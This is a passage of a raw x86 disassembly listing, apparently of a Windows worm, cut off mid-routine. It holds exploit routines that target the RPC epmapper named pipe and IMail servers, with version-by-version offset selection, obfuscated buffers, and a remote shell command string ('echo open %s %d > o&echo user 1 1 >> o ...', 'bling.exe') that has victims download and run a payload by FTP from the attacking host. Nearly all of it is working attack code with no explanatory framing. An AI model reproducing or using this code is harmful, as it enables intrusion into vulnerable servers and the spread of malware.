sub_40AA3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AAF6 proc near ; CODE XREF: seg000:0040ADBAp ; seg000:0040AEF8p var_2000 = byte ptr -2000h var_1FDC = byte ptr -1FDCh var_1FD0 = byte ptr -1FD0h var_1F29 = byte ptr -1F29h var_1000 = byte ptr -1000h var_FF8 = dword ptr -0FF8h var_FF0 = dword ptr -0FF0h var_F80 = dword ptr -0F80h var_F7C = dword ptr -0F7Ch var_F4C = dword ptr -0F4Ch var_F48 = dword ptr -0F48h var_F30 = dword ptr -0F30h var_E74 = dword ptr -0E74h var_CA0 = dword ptr -0CA0h var_C98 = dword ptr -0C98h var_C90 = byte ptr -0C90h arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 2000h call sub_41DEB0 push ebx push esi push edi push 30h lea eax, [ebp+var_2000] push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push eax mov edi, 0A7h call sub_41E840 push edi lea eax, [ebp+var_1FD0] push 0FFFFFF90h push eax call sub_41D100 mov ebx, (offset loc_445237+1) push 159h lea eax, [ebp+var_1F29] push ebx push eax call sub_41E840 add esp, 24h loc_40AB47: ; CODE XREF: sub_40AAF6+9Bj push 30h lea eax, [ebp+var_2000] push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" push eax inc edi call sub_41E840 push edi lea eax, [ebp+var_1FD0] push 0FFFFFF90h push eax call sub_41D100 push 159h lea eax, [ebp+edi+var_1FD0] push ebx push eax call sub_41E840 add esp, 24h lea esi, [edi+189h] mov eax, esi push 10h cdq pop ecx idiv ecx cmp edx, 0Ch jnz short loc_40AB47 cmp [ebp+arg_C4], 0 jz short loc_40ABAE cmp [ebp+arg_C0], 3 jz short loc_40ABB7 cmp [ebp+arg_C0], 0 jmp short loc_40ABB5 ; --------------------------------------------------------------------------- loc_40ABAE: ; CODE XREF: sub_40AAF6+A4j cmp [ebp+arg_C0], 3 loc_40ABB5: ; CODE XREF: sub_40AAF6+B6j jnz short loc_40ABC0 loc_40ABB7: ; CODE XREF: sub_40AAF6+ADj push 4 push offset loc_445234 jmp short loc_40ABC7 ; --------------------------------------------------------------------------- loc_40ABC0: ; CODE XREF: sub_40AAF6:loc_40ABB5j push 4 push offset dword_445230 loc_40ABC7: ; CODE XREF: sub_40AAF6+C8j lea eax, [ebp+var_1FDC] push eax call sub_41E840 add esp, 0Ch lea eax, [ebp+var_1000] push 360h push offset dword_444D68 push eax call sub_41E840 push 10h lea eax, [ebp+var_CA0] push offset dword_4450CC push eax call sub_41E840 lea eax, [ebp+var_2000] push esi push eax lea eax, [ebp+var_C90] push eax call sub_41E840 lea edi, [esi+370h] push 3Ch push offset off_4450E0 lea eax, [ebp+edi+var_1000] push eax call sub_41E840 add edi, 3Ch push 30h push offset dword_445120 lea eax, [ebp+edi+var_1000] push eax call sub_41E840 mov eax, esi add edi, 30h cdq sub eax, edx sar eax, 1 add [ebp+var_CA0], eax add [ebp+var_C98], eax mov eax, [ebp+var_FF8] lea eax, [eax+esi-0Ch] mov [ebp+var_FF8], eax mov eax, [ebp+var_FF0] lea eax, [eax+esi-0Ch] mov [ebp+var_FF0], eax mov eax, [ebp+var_F80] lea eax, [eax+esi-0Ch] mov [ebp+var_F80], eax mov eax, [ebp+var_F7C] lea eax, [eax+esi-0Ch] mov [ebp+var_F7C], eax mov eax, [ebp+var_F4C] lea eax, [eax+esi-0Ch] mov [ebp+var_F4C], eax mov eax, [ebp+var_F48] lea eax, [eax+esi-0Ch] mov [ebp+var_F48], eax mov eax, [ebp+var_F30] lea eax, [eax+esi-0Ch] mov [ebp+var_F30], eax mov eax, [ebp+var_E74] lea eax, [eax+esi-0Ch] lea esi, [edi+1] push esi mov [ebp+var_E74], eax call sub_41AE40 add esp, 40h mov ebx, eax push esi push 0 push ebx call sub_41D100 lea eax, [ebp+var_1000] push edi push eax push ebx call sub_41E840 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop edi pop esi pop ebx leave retn sub_40AAF6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1138h call sub_41DEB0 cmp dword ptr [ebp+0A8h], 1BDh push ebx push esi push edi jnz loc_40AE7F lea eax, [ebp-34h] push eax lea eax, [ebp+0Ch] push eax call sub_40A958 pop ecx test eax, eax pop ecx jz loc_40AF8F lea eax, [ebp+0Ch] push eax lea eax, [ebp-138h] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_41D260 add esp, 0Ch xor ebx, ebx lea eax, [ebp-138h] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call ds:dword_4F1380 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40AD96 loc_40AD87: ; CODE XREF: seg000:0040AE37j lea eax, [ebp+0Ch] push eax call sub_40AA3E pop ecx jmp loc_40AF8F ; --------------------------------------------------------------------------- loc_40AD96: ; CODE XREF: seg000:0040AD85j lea eax, [ebp+0Ch] push 2 push eax call sub_417569 pop ecx lea esi, [ebp+8] pop ecx push 1 push eax lea eax, [ebp-10h] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40AAF6 add esp, 0C8h cmp eax, ebx mov [ebp-8], eax jz short loc_40AE2E mov edi, 186A0h push edi call sub_41AE40 mov esi, eax push edi push ebx push esi call sub_41D100 add esp, 10h lea eax, [ebp-0Ch] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_444D1C push dword ptr [ebp-4] call near ptr 3D0000h in eax, dx cmp byte ptr [esi+2], 0Ch jnz short near ptr loc_40AE1B+3 lea eax, [ebp-14h] push ebx push eax push dword ptr [ebp-10h] push dword ptr [ebp-8] push dword ptr [ebp-4] call near ptr 3D0000h cmp al, 85h loc_40AE1B: ; CODE XREF: seg000:0040AE04j sal byte ptr [ebp+1Eh], 56h call sub_41B8B0 push dword ptr [ebp-8] call sub_41B8B0 pop ecx pop ecx loc_40AE2E: ; CODE XREF: seg000:0040ADCAj push dword ptr [ebp-4] call ds:dword_4F12FC ; CloseHandle jmp loc_40AD87 ; --------------------------------------------------------------------------- lea eax, [ebp-0Ch] push ebx push eax push edi push esi push dword ptr [ebp-4] call ds:dword_4F1374 ; ReadFile push dword ptr [ebp-8] mov edi, eax call sub_41B8B0 push esi call sub_41B8B0 pop ecx pop ecx push dword ptr [ebp-4] call ds:dword_4F12FC ; CloseHandle lea eax, [ebp+0Ch] push eax call sub_40AA3E cmp edi, 1 pop ecx jnz loc_40AFA0 jmp loc_40AF8F ; --------------------------------------------------------------------------- loc_40AE7F: ; CODE XREF: seg000:0040AD2Bj lea eax, [ebp+0Ch] push 1 push eax call sub_417569 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40AF8F xor ebx, ebx push ebx push 1 push 2 call ds:dword_451570 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_40AF8F push 10h lea eax, [ebp-24h] push ebx push eax call sub_41D100 add esp, 0Ch mov word ptr [ebp-24h], 2 push dword ptr [ebp+0A8h] call ds:dword_4514F4 mov [ebp-22h], ax lea eax, [ebp+0Ch] push eax call ds:dword_451530 mov [ebp-20h], eax push ebx lea eax, [ebp-0Ch] push esi push eax lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40AAF6 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp-8], esi jnz short loc_40AF11 push dword ptr [ebp-4] jmp short loc_40AF89 ; --------------------------------------------------------------------------- loc_40AF11: ; CODE XREF: seg000:0040AF0Aj mov edi, [ebp-4] lea eax, [ebp-24h] push 10h push eax push edi call ds:dword_45149C cmp eax, 0FFFFFFFFh jnz short loc_40AF29 loc_40AF26: ; CODE XREF: seg000:0040AF3Bj push esi jmp short loc_40AF82 ; --------------------------------------------------------------------------- loc_40AF29: ; CODE XREF: seg000:0040AF24j push ebx push 48h push offset dword_444D1C push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40AF26 mov esi, 1000h push ebx lea eax, [ebp-1138h] push esi push eax push edi call ds:dword_45150C push ebx push dword ptr [ebp-0Ch] push dword ptr [ebp-8] push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jnz short loc_40AF6A push dword ptr [ebp-8] jmp short loc_40AF82 ; --------------------------------------------------------------------------- loc_40AF6A: ; CODE XREF: seg000:0040AF63j push ebx lea eax, [ebp-1138h] push esi push eax push edi call ds:dword_45150C push dword ptr [ebp-8] cmp eax, 0FFFFFFFFh jnz short loc_40AF93 loc_40AF82: ; CODE XREF: seg000:0040AF27j ; seg000:0040AF68j call sub_41B8B0 pop ecx push edi loc_40AF89: ; CODE XREF: seg000:0040AF0Fj call ds:dword_451588 loc_40AF8F: ; CODE XREF: seg000:0040AD42j ; seg000:0040AD91j ... xor eax, eax jmp short loc_40AFE7 ; --------------------------------------------------------------------------- loc_40AF93: ; CODE XREF: seg000:0040AF80j call sub_41B8B0 pop ecx push edi call ds:dword_451588 loc_40AFA0: ; CODE XREF: seg000:0040AE74j push 1F4h call ds:dword_4F12F4 ; Sleep push 7C7h lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_417E0E add esp, 0C0h cmp al, 1 jnz short loc_40AFE4 mov eax, [ebp+0B0h] shl eax, 6 inc ds:dword_4439F8[eax] lea eax, dword_4439F8[eax] loc_40AFE4: ; CODE XREF: seg000:0040AFCDj push 1 pop eax loc_40AFE7: ; CODE XREF: seg000:0040AF91j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1Ch push esi mov esi, 160h push edi push esi mov dword ptr [ebp-4], 6741A1CDh call sub_41AE40 mov edi, eax push esi push 0 push edi call sub_41D100 push 12h push offset dword_4453D0 push edi call sub_41E840 lea esi, [edi+11h] push offset loc_445524 push esi call sub_41E560 push offset loc_445528 push esi call sub_41E560 mov eax, [ebp-4] push 4 not eax mov [ebp-4], eax lea eax, [ebp-4] push eax push esi call sub_41E710 mov ax, word ptr ds:dword_4E2638 add esp, 38h push eax call ds:dword_4514F4 push dword ptr [ebp+8] mov [ebp-8], eax call sub_402617 pop ecx push eax call ds:dword_451530 xor dword ptr [ebp-8], 9393h mov [ebp-0Ch], eax xor dword ptr [ebp-0Ch], 93939393h lea eax, [ebp-8] push 2 push eax push offset word_4453E6 call sub_41E840 lea eax, [ebp-0Ch] push 4 push eax push offset dword_4453E8 call sub_41E840 push offset loc_4453E4 push esi call sub_41E560 add esp, 20h push 6 push 1 push 2 call ds:dword_451570 mov esi, eax lea eax, [ebp+0Ch] push eax call ds:dword_451530 push 1BBh mov [ebp-18h], eax mov word ptr [ebp-1Ch], 2 call ds:dword_4514F4 mov [ebp-1Ah], ax lea eax, [ebp-1Ch] push 10h push eax push esi call ds:dword_45149C test eax, eax jnz short loc_40B124 push eax push 15Fh push edi push esi call ds:dword_451540 push esi call ds:dword_451588 push edi call sub_41B8B0 mov eax, [ebp+0B0h] pop ecx shl eax, 6 inc ds:dword_4439F8[eax] push 1 lea eax, dword_4439F8[eax] pop eax jmp short loc_40B126 ; --------------------------------------------------------------------------- loc_40B124: ; CODE XREF: seg000:0040B0ECj xor eax, eax loc_40B126: ; CODE XREF: seg000:0040B122j pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 12Ch push ebx push esi push edi mov dword ptr [ebp-14h], 10h call sub_41DBA0 cdq mov ecx, 3E8h idiv ecx lea eax, [ebp+0Ch] push eax mov edi, edx add edi, 7D0h mov [ebp-20h], edi call ds:dword_451574 mov esi, eax test esi, esi jnz short loc_40B17D lea eax, [ebp+0Ch] push eax call ds:dword_4F14F0 ; inet_addr cmp eax, 0FFFFFFFFh mov ds:dword_4E1F58, eax jz loc_40B7F2 loc_40B17D: ; CODE XREF: seg000:0040B163j push 6 push 1 push 2 pop ebx push ebx call ds:dword_451570 test eax, eax mov ds:dword_4E2060, eax jz loc_40B7F2 test esi, esi jz short loc_40B1B4 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_41E840 add esp, 0Ch jmp short loc_40B1BC ; --------------------------------------------------------------------------- loc_40B1B4: ; CODE XREF: seg000:0040B19Aj mov eax, ds:dword_4E1F58 mov [ebp-0Ch], eax loc_40B1BC: ; CODE XREF: seg000:0040B1B2j test esi, esi jz short loc_40B1CA mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_40B1CE ; --------------------------------------------------------------------------- loc_40B1CA: ; CODE XREF: seg000:0040B1BEj mov [ebp-10h], bx loc_40B1CE: ; CODE XREF: seg000:0040B1C8j push dword ptr [ebp+0A8h] call ds:dword_4514F4 push dword ptr [ebp+8] mov [ebp-0Eh], ax call sub_402617 pop ecx push eax call ds:dword_451530 push edi mov esi, eax call ds:dword_4514F4 movzx eax, ax xor eax, 7C1Fh push 4 mov [ebp-1Ch], eax lea eax, [ebp-18h] xor esi, 7C1F1AE0h push eax push offset dword_4455FC mov [ebp-18h], esi call sub_41E840 lea eax, [ebp-1Ch] push ebx push eax push offset word_445602 call sub_41E840 push 386h mov edi, offset dword_4E2064 push 90h push edi call sub_41D100 push 0Ch push offset loc_445534 push edi call sub_41E840 push 138h push offset dword_445544 push offset dword_4E2110 call sub_41E840 push 2Ah push offset loc_44571C push offset dword_4E2330 call sub_41E840 add esp, 48h push 0Bh push offset dword_445748 push offset word_4E23EA call sub_41E840 add esp, 0Ch lea eax, [ebp-10h] push 10h push eax push ds:dword_4E2060 call ds:dword_45149C test eax, eax mov ds:dword_4E1F5C, eax jnz loc_40B7F2 push eax mov esi, offset dword_4E1F60 push 100h push esi push ds:dword_4E2060 call ds:dword_45150C push offset aImail ; "IMail" push esi mov ds:dword_4E1F54, eax call sub_41DBE0 pop ecx test eax, eax pop ecx jz loc_40B6C3 push offset a7_04 ; "7.04" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B30B push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset loc_445684 loc_40B301: ; CODE XREF: seg000:0040B333j ; seg000:0040B36Ej ... push offset dword_4E2320 jmp loc_40B62C ; --------------------------------------------------------------------------- loc_40B30B: ; CODE XREF: seg000:0040B2E8j push offset a7_05 ; "7.05" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B335 push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_44568C jmp short loc_40B301 ; --------------------------------------------------------------------------- loc_40B335: ; CODE XREF: seg000:0040B31Aj push offset a7_06 ; "7.06" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_40B357 push offset a7_07 ; "7.07" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B370 loc_40B357: ; CODE XREF: seg000:0040B344j push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset nullsub_2 jmp short loc_40B301 ; --------------------------------------------------------------------------- loc_40B370: ; CODE XREF: seg000:0040B355j push offset a7_10 ; "7.10" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_40B392 push offset a7_11 ; "7.11" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B3AE loc_40B392: ; CODE XREF: seg000:0040B37Fj push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_44569C jmp loc_40B301 ; --------------------------------------------------------------------------- loc_40B3AE: ; CODE XREF: seg000:0040B390j push offset a7_12 ; "7.12" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B3DB push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_4456A4 jmp loc_40B301 ; --------------------------------------------------------------------------- loc_40B3DB: ; CODE XREF: seg000:0040B3BDj push offset a7_13 ; "7.13" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_40B3FD push offset a7_14 ; "7.14" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B419 loc_40B3FD: ; CODE XREF: seg000:0040B3EAj push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_4456AC jmp loc_40B301 ; --------------------------------------------------------------------------- loc_40B419: ; CODE XREF: seg000:0040B3FBj push offset a7_15 ; "7.15" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B446 push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_4456B4 jmp loc_40B301 ; --------------------------------------------------------------------------- loc_40B446: ; CODE XREF: seg000:0040B428j push offset a8_00 ; "8.00" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B473 push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_4456BC jmp loc_40B301 ; --------------------------------------------------------------------------- loc_40B473: ; CODE XREF: seg000:0040B455j push offset a8_01 ; "8.01" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B4A0 push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_4456C4 jmp loc_40B301 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: seg000:0040B482j push offset a8_02 ; "8.02" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B4CD push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_4456CC jmp loc_40B301 ; --------------------------------------------------------------------------- loc_40B4CD: ; CODE XREF: seg000:0040B4AFj push offset a8_03 ; "8.03" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B4FA push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_4456D4 jmp loc_40B301 ; --------------------------------------------------------------------------- loc_40B4FA: ; CODE XREF: seg000:0040B4DCj push offset a8_04 ; "8.04" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B527 push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_4456DC jmp loc_40B301 ; --------------------------------------------------------------------------- loc_40B527: ; CODE XREF: seg000:0040B509j push offset a8_05 ; "8.05" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B554 push ebx push offset loc_445680 push offset word_4E231E call sub_41E840 push 4 push offset dword_4456E4 jmp loc_40B301 ; --------------------------------------------------------------------------- loc_40B554: ; CODE XREF: seg000:0040B536j push offset a8_10 ; "8.10" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B581 push ebx push offset loc_445680 push offset word_4E2316 call sub_41E840 push 4 push offset dword_4456EC jmp loc_40B627 ; --------------------------------------------------------------------------- loc_40B581: ; CODE XREF: seg000:0040B563j push offset a8_11 ; "8.11" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B5AB push ebx push offset loc_445680 push offset word_4E2316 call sub_41E840 push 4 push offset dword_4456F4 jmp short loc_40B627 ; --------------------------------------------------------------------------- loc_40B5AB: ; CODE XREF: seg000:0040B590j push offset a8_12 ; "8.12" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B5D5 push ebx push offset loc_445680 push offset word_4E2316 call sub_41E840 push 4 push offset dword_4456FC jmp short loc_40B627 ; --------------------------------------------------------------------------- loc_40B5D5: ; CODE XREF: seg000:0040B5BAj push offset a8_13 ; "8.13" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B5FF push ebx push offset loc_445680 push offset word_4E2316 call sub_41E840 push 4 push offset dword_445704 jmp short loc_40B627 ; --------------------------------------------------------------------------- loc_40B5FF: ; CODE XREF: seg000:0040B5E4j push offset a8_14 ; "8.14" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B639 push ebx push offset loc_445680 push offset word_4E2316 call sub_41E840 push 4 push offset dword_44570C loc_40B627: ; CODE XREF: seg000:0040B57Cj ; seg000:0040B5A9j ... push offset dword_4E2318 loc_40B62C: ; CODE XREF: seg000:0040B306j call sub_41E840 add esp, 18h jmp loc_40B6D4 ; --------------------------------------------------------------------------- loc_40B639: ; CODE XREF: seg000:0040B60Ej push offset a8_15 ; "8.15" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B663 push ebx push offset loc_445680 push offset word_4E2316 call sub_41E840 push 4 push offset dword_445714 jmp short loc_40B627 ; --------------------------------------------------------------------------- loc_40B663: ; CODE XREF: seg000:0040B648j push offset aHotfix2 ; "hotfix2" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B67F loc_40B674: ; CODE XREF: seg000:0040B68Ej ; seg000:0040B69Fj ... push ds:dword_4E2060 jmp loc_40B7EC ; --------------------------------------------------------------------------- loc_40B67F: ; CODE XREF: seg000:0040B672j push offset a4_0 ; "4.0" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_40B674 push offset a5_0 ; "5.0" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_40B674 push offset a6_0 ; "6.0" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jnz short loc_40B674 push offset a7_0 ; "7.0" push esi call sub_41DBE0 pop ecx pop ecx test eax, eax jmp short loc_40B674 ; --------------------------------------------------------------------------- loc_40B6C3: ; CODE XREF: seg000:0040B2D3j push offset aImail_0 ; "IMail" push esi call sub_41DBE0 pop ecx test eax, eax pop ecx jz short loc_40B674 loc_40B6D4: ; CODE XREF: seg000:0040B634j mov esi, ds:dword_4F12F4 push 64h call esi ; dword_4F12F4 push 0 push edi call sub_41AC70 pop ecx push eax push edi push ds:dword_4E2060 call ds:dword_451540 push 64h call esi ; dword_4F12F4 push dword ptr [ebp-20h] xor edi, edi mov [ebp-0Ch], edi call ds:dword_4514F4 push 6 push 1 pop esi mov [ebp-0Eh], ax push esi push ebx call ds:dword_451570 lea ecx, [ebp-10h] push 10h push ecx push eax mov ds:dword_4E2464, eax call ds:dword_451520 cmp eax, edi mov ds:dword_4E1F5C, eax jnz loc_40B7F2 push esi push ds:dword_4E2464 call ds:dword_45151C cmp eax, edi mov ds:dword_4E1F5C, eax jnz loc_40B7F2 mov eax, ds:dword_4E2464 mov dword ptr [ebp-28h], 8 mov [ebp-128h], eax lea eax, [ebp-28h] push eax push edi lea eax, [ebp-12Ch] push edi push eax push esi mov [ebp-24h], edi mov [ebp-12Ch], esi call ds:dword_4F14F4 ; select test eax, eax jle short loc_40B7F2 lea eax, [ebp-14h] push eax lea eax, [ebp-10h] push eax push ds:dword_4E2464 call ds:dword_451584 mov ecx, [ebp+0B0h] push eax shl ecx, 6 inc ds:dword_4439F8[ecx] sub esp, 0BCh lea ecx, dword_4439F8[ecx] lea esi, [ebp+8] push 2Fh mov ds:dword_4E2468, eax pop ecx mov edi, esp rep movsd call sub_40B7F9 add esp, 0C0h push ds:dword_4E2060 call ds:dword_451588 push ds:dword_4E2464 call ds:dword_451588 push ds:dword_4E2468 loc_40B7EC: ; CODE XREF: seg000:0040B67Aj call ds:dword_451588 loc_40B7F2: ; CODE XREF: seg000:0040B177j ; seg000:0040B192j ... pop edi pop esi xor eax, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7F9 proc near ; CODE XREF: seg000:0040B7C3p var_800 = byte ptr -800h var_400 = byte ptr -400h arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 800h push esi push edi mov edi, [ebp+arg_BC] mov esi, 400h push 0 lea eax, [ebp+var_800] push esi push eax push edi call ds:dword_45150C cmp eax, 0FFFFFFFFh jz loc_40B8CC movzx eax, word ptr ds:dword_4DF1B8 push eax push [ebp+arg_0] call sub_402617 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_400] push esi push eax call sub_41D360 add esp, 14h lea eax, [ebp+var_400] push 0 push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_400] push eax push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40B8CC push 1F4h call ds:dword_4F12F4 ; Sleep push offset aBling_exe ; "bling.exe\r\n" lea eax, [ebp+var_400] push esi push eax call sub_41D360 add esp, 0Ch lea eax, [ebp+var_400] push 0 push eax call sub_41AC70 pop ecx push eax lea eax, [ebp+var_400] push eax push edi call ds:dword_451540 cmp eax, 0FFFFFFFFh jz short loc_40B8CC push 0 push esi push offset dword_4E1F60 push edi call ds:dword_45150C push edi call ds:dword_451588 loc_40B8CC: ; CODE XREF: sub_40B7F9+2Aj ; sub_40B7F9+78j ... pop edi pop esi leave retn sub_40B7F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B8D0 proc near ; CODE XREF: seg000:0040BE27p ; seg000:0040BE49p ... var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_41DEB0 mov eax, ds:dword_446270 push ebx mov [ebp+var_10], eax mov eax, ds:dword_446274 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset dword_446278 push eax call sub_41D260 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_40B90F: ; CODE XREF: sub_40B8D0+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_40B90F push 60h lea eax, [ebp+var_B4] push offset dword_445D88 push eax call sub_41E840 lea eax, [ebp+var_3C] push eax call sub_41AC70 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_41E840 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_5+3) push eax call sub_41AC70 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_41E840 lea eax, [ebp+var_3C] push eax call sub_41AC70 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_41E840 lea eax, [ebp+var_3C] push eax call sub_41AC70 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_41E840 mov ax, word ptr ds:dword_446178 add esp, 2Ch push eax call ds:dword_4514F4 xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_445A88 call sub_41E840 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40BACC mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_41D100 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_4461B8[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_41E840 mov esi, offset loc_4459D8 push esi call sub_41AC70 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_41E840 push 4 lea eax, [ebp+var_11AC] push offset dword_446284 push eax call sub_41E840 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_41E840 add esp, 40h push esi call sub_41AC70 push eax lea eax, [ebp+var_119C] push esi push eax call sub_41E840 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_40BA85: ; CODE XREF: sub_40B8D0+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_40BA85 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_41D100 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_41D100 add esp, 18h jmp short loc_40BB23 ; --------------------------------------------------------------------------- loc_40BACC: ; CODE XREF: sub_40B8D0+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_41D100 mov esi, offset loc_4459D8 push esi call sub_41AC70 push eax lea eax, [ebp+var_E74] push esi push eax call sub_41E840 lea eax, [ebp+var_10] push eax call sub_41AC70 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_41E840 mov eax, ds:dword_4461B8 add esp, 2Ch mov [ebp+var_768], eax loc_40BB23: ; CODE XREF: sub_40B8D0+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_41D100 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi 